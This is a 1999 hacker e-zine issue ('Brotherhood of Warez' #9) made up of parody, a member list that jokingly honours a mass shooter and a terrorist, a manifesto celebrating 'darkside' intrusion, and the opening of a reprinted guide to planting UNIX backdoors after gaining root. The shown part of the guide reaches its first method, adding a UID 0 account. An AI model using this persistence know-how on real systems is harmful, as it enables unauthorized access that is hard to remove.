Power Hacker 2003

home *** CD-ROM | disk | FTP | other *** search

/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / bow / bow9.txt < prev

Wrap

Text File | 2002-05-27 | 85.5 KB | 1,996 lines

_______________________________________________________________________________ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= : May / June 1999 * ____ \ / ________ BRoTHeRHooD oF WaReZ : : | \ __* __ || / ___ \ BRoTHeRHooD oF WaReZ : : The Brotherhood | o / ___| \ / | -++- \____ / BRoTHeRHooD oF WaReZ : : of Warez. Never | \/ \ | | | -++- / / BRoTHeRHooD oF WaReZ : : Afraid, and | o ) o | .o / || /___/ BRoTHeRHooD oF WaReZ : : Always Pheared. |___/\___/ \/\/ NiNE BRoTHeRHooD oF WaReZ : -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= No, you're not hallucinating, it's the: __________ __ .__ .__ .___ \______ \_______ _____/ |_| |__ ___________| |__ ____ ____ __| _/ | | _/\_ __ \/ _ \ __\ | \_/ __ \_ __ \ | \ / _ \ / _ \ / __ | | | \ | | \( <_> ) | | Y \ ___/| | \/ Y ( <_> | <_> ) /_/ | |______ / |__| \____/|__| |___| /\___ >__| |___| /\____/ \____/\____ | \/ \/ \/ \/ \/ _____ __ __ _____/ ____\ / \ / \_____ _______ ____ ________ / _ \ __\ \ \/\/ /\__ \\_ __ \_/ __ \\___ / ( <_> ) | \ / / __ \| | \/\ ___/ / __/ \____/|__| \__/\ / (____ /__| \___ >_____ \ \/ \/ \/ \/ k-RaD pH0r tHe aYch/Pee NaTi0n PURE CHEWING SATISFACTION IN 1999 .,aad88888888888baa,. ,ad8888888888888888888888888ba,. ,ad888888888888888888888888888888888ba, ,ad888888888P""' """Y88888888888ba. ,d88888888P"" ""Y888888888ba a888888888" ""Y88888888b, ,888888888b, psst! Just put up this ""Y8888888b, d888888888888b, k-rad sign at yer local "Y8888888b, ,8888888' "888888b, 2600 m33ting 4r3a "Y8888888b ,888888" "Y88888b, and l3t the narqz kn0w "Y888888b ,888888' "Y88888b, they are not w3lc0m3 4t y0ur "888888b ,888888' "Y88888b, k-sp1ff1e w4r3z sw4p... `888888a ,888888' "Y88888b, `888888, 888888' ooooo ooo 88888b, Y88888b d88888P `888b. `8' `888888, 888888' 8 `88b. 8 .oooo. oooo d8b .ooooo oo oooooooo )88888) 888888 8 `88b. 8 `P )88b `888""8P d88' `888 d'""7d8P (88888) 888888 8 `88b.8 .oP"888 888 888 888 .d8P' d88888) 888888 8 `888 d8( 888 888 888 888 .d8P' .P 888888) 888888 o8o `8 `Y888""8o d888b `V8bod888 d8888888P ,888888' Y88888, ^ 888. d888888 `88888b /|\ 8P' ,888888P 888888 | "Y88888 " d888888' `888888, Insert Fave N4rq Here "Y88888b, d888888P Y888888, "Y88888b, ,d888888P Y88888b, "Y88888b, ,8888888" Y88888b, f1n4lly, a sure-fire w4y to k33p "Y88888b, d8888888" Y888888, und3s1r4bl3z fr0m 1ntrud1ng 4nd "Y888888888888P' "888888b, st34l1ng y0ur z3r0d4y k0d3Zz! "8888888888" Y888888b, ,888888888" Y8888888ba, ,a888888888" "Y88888888ba,._ .,ad888888888P" "Y88888888888bbaa,,______,,aadd88888888888"" "Y8888888888888888888888888888888"" ""Y888888888888888888888P"" """""""""""""" _______________________________________________________________________________ Brotherhood of WaReZz -BoW- Brotherhood of WaReZz -BoW- Brotherhood of WaReZz _______________________________________________________________________________ 9999999999999999999999999999999999999999999999999999999999999999999999999999999 NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE+---------------------------------------+NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| In this latest K-rad issue of BoW you |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| can leech the following phresh warez: |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 1) K-L33T INTRO TO NUMBER NINE |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 2) WHO TO PHEAR (AKA MEMBER LIST) |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 3) BOW EMERGENCY RESPONSE TEAM [B3RT] |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 4) YOU JUST DON'T GET IT, DO YOU? |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 5) GETTIN' SNEAKY WITH BOW |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 6) HACKING 10-10-321 |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 7) HOW TO BE AN ELiTE HAQR |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 8) THE ENTERTAINMENT K0LUMN |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE| 9) AN INTRO TO TH3 B1W FIGHTING FORCE |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE|10) K-RAD CRYPTOGRAPHY |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE|11) PHRESH WAREZ: BOWZ4P.C |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE|12) RHYMIN' AND K0UR13RIN' |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE|13) BOW 0FFICIAL D1STR0 S1TE LISTING |NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE+---------------------------------------+NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE 9999999999999999999999999999999999999999999999999999999999999999999999999999999 ______________________________________________________________________________ 111111111111111111111111111111111111111111111111111111111111111111111111111111 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| INTRODUCTION TO BOW NUMBER 9 |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: Lister *BoW BoW BoW BoW BoW Bo ============================================================================== Phear ye, phear ye! Just when you thought it was safe to cancel your subscrip- tion to Bugtraq, comes the return of BoW. That's right folks, the people who brought you the ever-pheared .rhosts explo1t and sh0ck3d th3 world with the release of d4l3 dr3w's gerbling photos are back in 1999 with h-bomb force. Here we are on the verge of the new millenium, and now the torch has been passed from Pluvius to myself for editorship of the most pheared newsletter on the face of the planet. We've seen busts (well, duh), h4qr wars, h4tr3d, l0ve, n4rqs, w3dd1ngz, fun3ralz, d1v0rc3, and a degredation of the scene so bad that the only requirement for being called a hacker these days seems to be the ability to breathe. And through it all, the Inner Sanctum of Bow has been watching. Laughing for the most part. Yet here we are, f00tl00se and ph4ncy-phr33, after all that has happened since BoW #8. Have we been to jail? No. Do we 0wn you? Chances are, yes. "Fuck," you might be thinking "these bastards have a pretty inflated ego." Well guess what, we do. But don't forget: EGO = (E)veryone's (G)etting (O)wned This ninth issue of BoW is sure to b3 a real treat. We've got the freshest war3z out there, and I guarantee you you won't find a better sell-by date anywhere else. Just keep in mind that this is my first jab at being editor so you'll have to forgive any mistakes I make along the way. Well, you don't really have to, but I assure you I won't lose any sleep over it. If you think you're k-rad enough for BoW, and you'd like to see your name up in lights, then feel free to submit an article to bow@velkro.net. You can also send any letters, or feedback to that address. If you're particularly paranoid, the new BoW pgp key is available a little further down. We're also always on the lookout for k-kewl ascii artwork to grace the pages of our hallowed journal, so send us yer favorite creation while your at it. Submission does not guarantee publication, but it's worth a try. Well, that about sums things up for this issue. Besides, there's not much else to be said. So, on with the show and get set to enter Phear Nation%&!@#! - 30 - -- Lister [BoW Editor] boweditor@velkro.net PHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARB -**=< BoW Y2K compliance statement >=**- By: Pluvius All versions of BoW starting at version 9.0 are fully Y2K compliant. Unfortunately earlier versions of BoW, specifically version 1, 2, 3, 4, portions of verion 5, all of version 6, 7 and also version 8 are *not* Y2K compliant. It is important to note that all of these versions of BoW were released during or prior to 1994 which is well before the Y2K issue was a known problem (the movie 'Strange Days' didn't even come out until 1995). So we really don't feel it was our responsibility to make sure that these versions were Y2K compliant. Unfortunately, the older versions of BoW will cease to exist when the clock passes midnight, December 31st, 1999. We spent a lot of energy trying to find a work around, but there was none apparent. Our consultants have suggested that we urge readers to set their clocks to Decemeber 31st, 1989 to avoid loss of precious data. -**=< |nfo ma|l Ivan's Y2K checklist >=**- Checkbox TODO Item _ |X| move to rural Montana |X| buy some guns. lots of guns |X| hoard food, water | | get solar powered computer (check on weather in Montana!) |X| stock up on spice girls memorabilia (it will be worth something) |X| get one of those bikes that makes electricity | | buy 1 year supply of twinkies |X| withdraw all money from bank | | get money belt to hold cash - M0r3 t0 c0m3 s00n! PHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARB -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGPfreeware 6.0.2i mQGiBDcugnsRBADB+1mPC917xR6CY/dtlJdfIzqDQ1wSzmjN4nBUmp85bVUl4sDu NVCgRS8wOjTe0YuRU390qsROtOmunc4PyPUvGeiHOOyPW8YJSyrbHVHGfEZFM7Lm PgHeBeQSX0KOVW551fJrUZlp8dkaqQns02IWsYQCTO27Bc54TFC6LI/X3wCg/94l 7JLwtQQuHoW3ZE/5cTk+BwcD/03gtS5vXbnQjm9PSxqcWZB2k9xiCJ2yRg28SoPw tKdlHVK2pMpJZtKf99/IqL3Bl0AXP0Z8eGGUyoSUIcSVhMQlAuMcTiw4NVfZ720R IvjLc4xupetgtFKs0CskhBdsVDIpKXdM6YBkY49isCH1DZSCMNKuRTwZilOQujh0 v4dLA/0fgdtuaFOIvN0vzV9pmNBCqgDFHJzUJeEwj0Ttt8zkr2f59i4sL9cZQL/7 FjT8wQvHLOb07B7XYsSAD8MOeMELjhlxeHdeyMdBPXSMVNw7N8jDNY6jcTBckH8L Zh6S9kE/TZzSn0WZiMKoMg0dRenWc2nQQfTL/1eJ5ID94iN6TrQpVGhlIEJyb3Ro ZXJob29kIG9mIFdhcmV6IDxib3dAdmVsa3JvLm5ldD6JAEsEEBECAAsFAjcugnsE CwMCAQAKCRCGmZ3H+OxTRb69AJsF3L7NLTRFy04/eZn8Ib1OnevYzgCfSBjycfUN 1JoSnaus8cIorF/oM+e5Ag0ENy6CexAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+2 8W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZS Tz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI6 1Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/Cl WxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgH KXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIIAJqg Dfzc20TnslEnZ6SrfT34VFTTFBp5DSLlhcsMntm30aZKxGLWUGKGbcG8viEWNCfU kje4viAKU/A3GzicmokNpRcm2EhmNmta6pFhB1506i8PSL0QA0XymDzZV2hcvDdk fycjQGvJXxs8q4t2sf0+yQdq7q04b5noxtkf51SuYga/ImMHIaGIou+/x2dpbGD2 76mUFtgFRo2mntwNfPDOwJshdIMr5rsj9i4bFZNKgCWOLdtv8uem7dM3oXzpB4+O 8eibRZRA2xTaT1UUI67SCGZsk38A6Q9R2L/qV73+DEBDsqeLptsnKmmwB3POLi29 VCDD7+EvFGA++VxV2CKJAEYEGBECAAYFAjcugnsACgkQhpmdx/jsU0UlxgCfd47N 6T+fTjf+IjiHZFYBlVrgoa0AoMucb+IeBHz0j7sw3GRR4Fm18bOK =Byvb -----END PGP PUBLIC KEY BLOCK----- +++ ATZ OK ATDT*67,1-800-PH34R-B0W CONNECT 666bps v.31337/KRAD BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW + Return of the Mast(head) + BoW Magazine is an electronic magazine published whenever we feel like it, (literally -- it's been five years since we last came out with an issue) specializing in Computer Deviancy, Software Piracy, Computer Insecurity, Telecommunications Fraud, and other nasty things. The longdistance carriers phear us. BoW Magazine is KopyWrong (K) 1999. Any unauthorized distribution is k-lame, and we will get Tsut0mu Sh1m0mur4 t0 track you down, narq you out, hire a bad journalist to help him write a mediocre book about it, wh0re himself to the media, and generally capitalize off your misfortune, if you distribute these electrons without prior consent of God. God can be reached in New York City, on the subway. Grab a ride and ask him... then it will be ok. You can also distribute this magazine in an unauthorized fashion if either a) Eugene Spafford or b) A Real Cyberpunk [in the event you do not know Eugene Spafford] say it's ok. Real Cyberpunks can be reached at the following email addresses: idol@well.sf.ca.us, president@whitehouse.gov, root@att.att.com, and root@microsoft.com. If you don't have access to email, then call up a cyberpunk at the following phone number: 0. Ask them... but first ask them for some k0d3z, it's a secret codeline. Tell them you would like to distribute BoW magazine in an unauthorized fashion. They will be able to give you permission. BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW THERE NEVER WAS ANY CARRIER IN THE FIRST PLACE NuBeR NiNE 1n '99. BoW - Spreading the Zeroday your way since 1992. The BoW Ninth Issue Return of the Hack Comeback Spectakular is (K) KopyWrong __________ __ __ ____ ________ ________ ________ \______ \ ____/ \ / \ /_ / __ \/ __ \/ __ \ | | _// _ \ \/\/ / | \____ /\____ /\____ / | | ( <_> ) / | | / / / / / / |______ /\____/ \__/\ / |___| /____/ /____/ /____/ \/ \/ distribute everywhere The Few, The Pr0ud, Th3 pheared. The BoW. THE BROTHERHOOD OF WAREZ www.velkro.net bow@velkro.net ______________________________________________________________________________ 222222222222222222222222222222222222222222222222222222222222222222222222222222 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| K-SP1FF BOW MEMBER LIST |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: The BoW Staff *BoW BoW BoW BoW BoW Bo ============================================================================== High Epopt and Master Therion: U4EA Newsletter editor: Lister Members: Th3 V3lkr0 K0d3 \/\/aRRi0R, Lister, SW_R, Pluvius, kiad, The Deadkennedy, Ratscabies, D-CeLLeRaTiON TRaUMA The Own3d R4ng3r, Distr0-D4v3, S1l3nt K0ur13r Simply-like-their-name-in-the-Mag-and-never-do-anything: Pluvius (R3v3ng3 1s M1n3!@# M0Hoh4h4@#$!) Missing in Action: Carsenio, Mystic Ruler, Maelstrom K-Rad Web Designer: Th3 V3lkr0 K0d3 \/\/aRRi0R Honourary Members: Cliff Stole, Eugene Sp4fford [PhEaR!@#], Eric Harris, Osama bin Laden Tsut0mu Sh1m0mura Media Wh0r3 Award: The EFF, J0hN Vr4n3s3v1ch, HFG (a three way tie!@$@!@) Will 0rg4sm if he sees his name in BoW, so we'll print it: Wep Lifetime Achievement Award: Pluvius Traxxter Memorial Narq Award: Nick Potkay Auxiliary Members: VOiCE MAiL HaQR, Count Zero-Day, The Cyberspace Warrior, Danny Diveter, *67-Kevin, Aspen Extreme, Peter Packet, Call-return Vern, The 300 baud bandit, Trevor Trunk, Telephone Tony, PBX-Pat, Speaker fone Joan, *70-Hero, TH3 PHR3SH PR1NC3 0F B3LLC0RE, Luke D0wnl04d3r, Blue Box Bart, The Call Block Jock, The MCi Sprinter, Datapac Jack, The Delphi Guy, Compuserve Connie, DiATR1b3, x.25 Clive, HTT Pete, Centagram Sam, NUA Faye, Line Man Stan, Call Display Faye, Kordless Karl, K-r4d Vl4d, x2 Stu, m4rt1n luth3r p1ng, p4p4 SmUrph, Dial Tone Don, Pirate Pete, Conference Call Paul, Hackle-b3rry phin, SunOS Ross, th3 pir8 of p3nz4nc3, Z3r0d4y Want Shen0b1, Coco Cottz, The Code Slayer, D1g1t4l D0pp3lg4nger, W4r3z P00dle, mendax m1ke, |NFo Ma|L iVAN, Three-way Jay, el8 pete, dr0pstat d4le, A0L M3l, d0tc0m T0m, L0u1s Farrahk0d3 Greetz go out to: H4G1S, GLuE, ANuS, Juliet, Yorkshire Posse, W.A.R.E.S. ______________________________________________________________________________ 333333333333333333333333333333333333333333333333333333333333333333333333333333 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| BERT ALERT NUMBER 0NE |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: The Deadkennedy *BoW BoW BoW BoW BoW Bo ============================================================================== BoW Emergency Response Team [BERT]« Adv1s0ry BS-99-04-Melissa-M4cr0-V1rus Or1g1n4l 1s$ue d4t3: Saturday March 27 1999 auth0r: sen10r BoW sekur1ty k0nsult4nt, The Deadkennedy Syst3ms Aff3k-t3d: Mach1nez with Micr0soft Word 97 or Word 2000 Any mail h4ndling syst3m c0uld x-per1ence perf0rmance pr0bl3mz 0r a denial 0f serv1ce as a result 0f the pr0pagay$hun 0f this macro v1ru$. Ovrv13w: @ apr0x1m8ly 4:00 AM EST 0n fr1d4y m4rch 26 1999 w3 b3g4n receiv1ng rep0rt$ 0f a m4cr0 v1ru$ att4Q1ng f41thfUll BoW r34d3r'z w1nd0ws m4ch1n3z. w3 w0k3 up ar0und 2:00 PM EST t0 1nvest1g8, 4t f1r$t w3 susp3ct3d v1r11d c0p1ez 0f n1nj4 g41d3n. th1$ w0uld tuRn 0ut 2 b ph4r fr0m th3 tr00th. th3 re4l1ty 1z ph4r m0r3 s1n1$t3r. sp4f w4$ unav41labl3 ph0r k0mm3nt. 0ur analys1s 0f th1z v1ruS ind1c8z 1t w4$ NOT cre8d w1th VCL! aft3r k0nklud1ng th1$ w3 skr4cth3d 0ur hedz 4 a f3w h0urz. wh4t w3 end3d uP f1gur1ng 0ut w0z th3 v1rus pr0p4g8z du3 t0 hum4n interaksHun (the us3r 0pen1ng a d0cum3nt). d-skrYptshUn: Th3 Mel1ssa m4cr0 v1ru$ propag8s 1n th3 f0rm of an em41l mess4ge k0ntaining an inf3cted Word document as an att4chment. The tr4n$port m3ss4g3 h4Z m0s+ fr3quently b3en rep0rted 2 k0ntane th3 f0llow1ng Subj3ct he4der Subject: 0-d4y w4r3z, op3n th1$ br0 <name> Wh3r3 <name> 1z th3 pHull n4m3 of the k0ur13r gr0up s3nd1ng the m3ss4ge. 0r: Subject: u m4y h4v3 alr34dy w0n 10 m1ll10n d0ll4rz dud3! 0r: Subject: eye b3t ur s0 l4m3 u k4nt ev3n f1gur3 0ut h0w t0 re4d th1$ em4il th3 b0dy of the mess4ge 1z a mult1p4rt MIME mess4ge k0nt4in1ng 2 seKshunz. Th3 f1rst seKtion of the mess4ge (Content-Type: text/plain) Kont41nz th3 foll0w1ng t3xt. "th1z 1z th3 m3l1ssa v1ru$..ur 1n 4 1t t0ugh gUy..YP rulez 1n '99" Th3 n3xt seKtion (Content-Type: application/msword) waZ in1ti4lly rep0rted 2 b a doKum3nt kalled "BoW7.doc". Th1s docUm3nt Kont4ins ref3rences to p0rnographic web sitez and 0-d4y k0d3z. th3 m4cr0 th3n ch3x 2 s33 1f th3 reg1stry key "HKEY_Current_User\Software\Microsoft\Office\Melissa?" h4$ a valUe 0f "... H4G1S R0X". 1f 1t d0e$ th3 v1rUs beg1nz 1tz v1c10uz cycl3. 4t f1rst th3 v1rUs app34rz h4rml3$$, h0w3v3r w1th1n 2 h0urz 0f inf3ct10n 1t b3g1nz rm'ing 4ll ur arch1v3d 0-d4y. aft3r rem0v1ng ur w4r3z 1t mut8s 1nt0 a phyz1k4l ph0rm and b3g1nz t0 sl4p u ar0und unt1l u s4y "EyE PHEAR BoW". f1g 1.0 (p1ksur3 0f s3d mut8d v1ru$ du0d): _||||||||||||||||||||||||_ / \ / \_/ \ | \____ _____/ | | / o /\ /\ o \ | | \___/ \___/ | | /\ | \ ______________________ / \_ .____| | | |____. _/ \ |___| |___| / \______________________/ _____| |_____ / \ | | | / __________ \ | |\/\/\| I LUV BOW! |\/\/\| | ~~~~~~~~~~ | | | < > ( b0rn 2 1nf3ct! ) \__________________/ up0n utt3r1ng th3 phr4$3 th3 v1ruS c4lmz d0wn and gr4bz h1ms3lf a b33r 0ut 0f ur fr1dge, and s1tz d0wn at uR k0ns0l3. th3 v1ruS th3n subskr1bez u 2 500 m41l1ng l1stz and p0$tz t0 alt.pictures.erotica.beastiality fr0m ur w0rk/sch00l addr3ss, 1t th3n impregn8z ur g/f w1th th3 dem0n seed 0f BoW. th3 v1ru$ 1z als0 kn0wn t0 thr0w f1tz 0f r4g3 shUd u 0nly h4ve l1ght br3w. b w4r3. 1mp4ct: dud3..d0nt g3t th1Z v1rus..1tz b4d n3wz 4 sur3. s0lut10n: buy 4n am1g4. ______________________________________________________________________________ 444444444444444444444444444444444444444444444444444444444444444444444444444444 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| YOU JUST DON'T GET IT, DO YOU? |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: U4EA *BoW BoW BoW BoW BoW Bo ============================================================================== <----] What is BoW? [----> BoW is a fraternal organization for like minded inviduals. BoW is a virtual sanctuary for the exploration of the so called "darkside" of the "hacker" ethic. BoW serves a twofold purpose, one being of course the artistic interpretation of what is now a stagnated "scene" using the ascii medium (the zine). Secondly BoW serves as an engine of stratification; employed mercilessly by it's high ranking members. <----] How does one become a member? [----> BoW members are born not made, if you truly are BoW material: you will be recognized as such by the governing council and invited to take refuge amongst our membership. Once invited you will be subjected to a series of ordeals, no two members are put through the same test as each individual is recognized as the subjectively encapsulated being that he / she is. The Aeon of BoW began in 1992 when the existing scene paradigm was redefined by my utterance of the word "Phear" and I was recognized to the station of "Phearless Leader" by the existing governing council. This council was born out of the ashes of what once served as the largest H/P organization in the world: VirtualCon. Never heard of it? You either weren't around, or if you were, you were likely a worthless social scene parasite and not actively involved in anything. <----] Why "darkside"? [----> At the time of BoW's inception, the existing hacker "ethic" was riddled with such drug-addled hippy slogans as "information wants to be free", "if ___ is outlawed, only outlaws will have ___", etc. There was an alarming trend towards what the socio-political faction of the "scene" termed "ethical hacking" which if you reduced it to it's base elements you would find it roughly translated to the following: - kiss as much ass as possible as it may one day lead to employment. - turn over every exploit you are either given or discover on your own to security professionals and organizations such as CERT for kudos. - post all exploits, etc to newsgroups such as bugtraq, etc so that you can gain recognition from your peers. (sounds a bit like the warez scene doesn't it?) - when it is politically correct to do so, reprimand other hackers publically for actually hacking / phreaking. - kick / ban anyone from hack / phreak irc channels when they ask a question you cannot either answer or are too ignorant to understand. - support the presence of law enforcement and / or "narqs" at both public conventions or forums on the internet such as irc, etc. - Play word games in order to avoid ever having to make any sort of commitment through individual action. ie: hacking / phreaking. When it is convenient to do so (ie: to impress ur friends) then the ethical hacker is of course a "darkside" hacker openly breaking computer crime laws but of course when one is amongst other "ethical hackers" one has to put on airs to the contrary. - Hide behind your copy of the K&R white book and insist that C programming is an arcane and esoteric skill known only to the few. (*laff*) BoW recognized this for the dangerous paradigm that it was and immediately issued a stern commitment to the anathema of all that the "ethical hacker" stood for. At the same time, a media whore pseudo-journalist by the name of "John Markhoff" , realizing that his poor writing skills and attention defecit disorder would never get him anywhere, sought to further his career by focusing his pen on the antics of Kevin Mitnick. He termed Kevin, a "darkside" hacker in the pages of his book "Cyberpunk" and defined the term with negative connotations. BoW recognized John Markhoff for the trash that he is and decided to reclaim the word that Kevin Mitnick had chosen to martyr himself for. BoW became resonant with the DARKSIDE and continues to evolve the archetype of the darkside hacker to this day... Enter the corporations and the commercialization of our playground... With that came the ISP... And more than likely, with those two events: YOU CAME TO OUR WORLD. Were you on the internet before the ISP was born? If your access were removed tomorrow could you find your way back to our world without purchasing it? Without begging for it? Without having to read a pop up book or text file, could you do it? If the internet completely ceased to exist tomorrow, where would you go? Could you find us again? Do you know the way? Did you answer the question, or are you too busy insisting that you have earned your right to be here? * What is your raeson d'etre? * Are you a genuine seeker or do you merely want to be like us? To get the attention we get without trying? * Are you prepared to go all the way? * When your doors are being kicked down, when your beloved computers and assorted electronic equipment are being indexed and carried out your door by THE MAN are you going to cry? Are you going to turn all your friends in? Friends that trusted you with information about them? Those that you spent your free time posturing in front of, bragging to, telling them that you were the real thing... Will you sell them out because you are a FAKE? Is the freedom of others worth all that? Is *your* freedom worth all that? To trade them both for a few moments of empty posturing? * DID YOU THINK YOU WERE FOR REAL? * _ - - / B \ Y00 + FoUr |+-+-+-+0+-+-+-+| EeE + AhH \ W / - _ - ______________________________________________________________________________ 555555555555555555555555555555555555555555555555555555555555555555555555555555 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| A GUIDE TO BEING SNEAKY |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: Br0th3r M1ch3r0b [YP] *BoW BoW BoW BoW BoW Bo ============================================================================== y0y0y0 f3ll0w aYch-p33'RzZ.. d1s b th' 1 & th' 0nly Br0th3r M1ch3r0b 0f th3 Y0rksh1r3 P0$$3 (ph33r, l4ym0rzZ!@#$). th1z 1z 4 f1l3 k0nt41n1ng sUm v3ry 0-dAy x-pL0itZz and 1npH(), s0 eY3 4m trU$t1ng 1n u BoW r34d1ng el8 du0dz t0 k33p th1z s3krUt t3kn1q 0ut 0f th3 h4ndz 0f l4ym0rz. app3nd3d b3l0w 1z 4 /<-r4d t-ph1l3 th@ 1z v3ry v3ry 'sn34ky' 1n 1tz n4tUr3.. l1k3 eY3 s3d v3ry 0-d4y 1npH(), n0t ph0r pUbl1k d1$tr1bUt10n. w3 0f th3 y0rksh1r3 p0$$3 h4pp3n3d up0n 1t dUr1ng 0ur tr4v3lz 1n cYb3rsp4c3 & d3c1d3d 4ft3r mUch d3b4t3 t0 r3l34s3 1t 1n BoW.. s0 h3r3 u g0, enj0y! daemon9/route of The GUiLD Brings You... UNIX Backdoors _________________________________________________________________ Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight. The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally! After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user privilege you have worked so hard to achieve....? This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike. From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your system? This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are ways into one. _________________________________________________________________ Beforehand Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc... The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be looking for back doors. _________________________________________________________________ The Overt [1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply 